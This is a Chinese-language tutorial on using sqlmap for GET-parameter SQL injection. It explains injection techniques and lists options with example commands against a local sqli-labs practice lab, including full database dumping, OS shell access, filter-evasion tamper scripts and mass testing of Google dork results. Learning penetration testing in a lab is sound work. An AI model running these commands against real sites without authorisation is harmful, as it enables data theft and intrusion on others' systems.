SQL注入之sqlmap使用(get型注入)
一、SQLMap介绍
1、Sqlmap简介:
Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。
2、Sqlmap支持的注入方式:
Sqlmap全面支持六种SQL注入技术:
- 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
- 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入:在可以使用Union的情况下的注入。
- 堆查询注入:可以同时执行多条语句时的注入。
- 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
二、SQLMap使用:
1、判断是否存在注入:
假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
当注入点后面的参数大于等于两个时,需要加双引号,如下所示。
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"
运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。
常用命令:
-u 指定目标URL (可以是http协议也可以是https协议)
出现这种证明有注入点

-d 连接数据库
–dbs 列出所有的数据库
–current-db 列出当前数据库
–tables 列出当前的表
–columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–dump 获取字段中的数据


–dump-all 拖库(把所有数据拖取下到一个文件里)
–batch 自动选择yes
–smart 启发式快速判断,节约浪费时间
–forms 尝试使用post注入[[06.2SQL注入之sqlmap使用(post注入)]]
-r 加载文件中的HTTP请求(本地保存的请求包txt文 件)[[06.2SQL注入之sqlmap使用(post注入)]]]
-l 加载文件中的HTTP请求(本地保存的请求包日志 文件)
-g 自动获取Google搜索的前一百个结果,对有GET 参数的URL测试
sqlmap -g "inurl:index.php?id=1"
-o 开启所有默认性能优化
sqlmap -u http://localhost/Less-1/?id=1 -o
–tamper 调用脚本进行注入(文档有所有脚本的具体作用)
sqlmap -u http://localhost/Less-1/?id=1 –tamper="bluecoat.py"
-v 指定sqlmap的回显等级
–delay 设置多久访问一次
(有些web服务器请求访问太过频繁可能会被防火墙拦截,使用–delay就可以设定两次http请求的延时)
sqlmap -u http://localhost/Less-1/?id=1 –delay 1
–os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
–is-dba 判断当前用户是否为数据库管理员权限
–risk 风险等级
–identify-waf 检测防火墙类型
–param-del="分割符" 设置参数的分割符
–skip-urlencode 不进行url编码
–keep-alive 设置持久连接,加快探测速度
–null-connection 检索没有body响应的内容,多用于盲注
–thread 最大为10 设置多线程
–technique
B:Boolean-based-blind (布尔型型注入)
E:Error-based (报错型注入)
U:Union query-based (联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
使用布尔盲注
sqlmap -u http://localhost/Less-8/?id=1 –technique B

sqlmap -u http://localhost/Less-8/?id=1 –technique B –dbs
用盲注的方式跑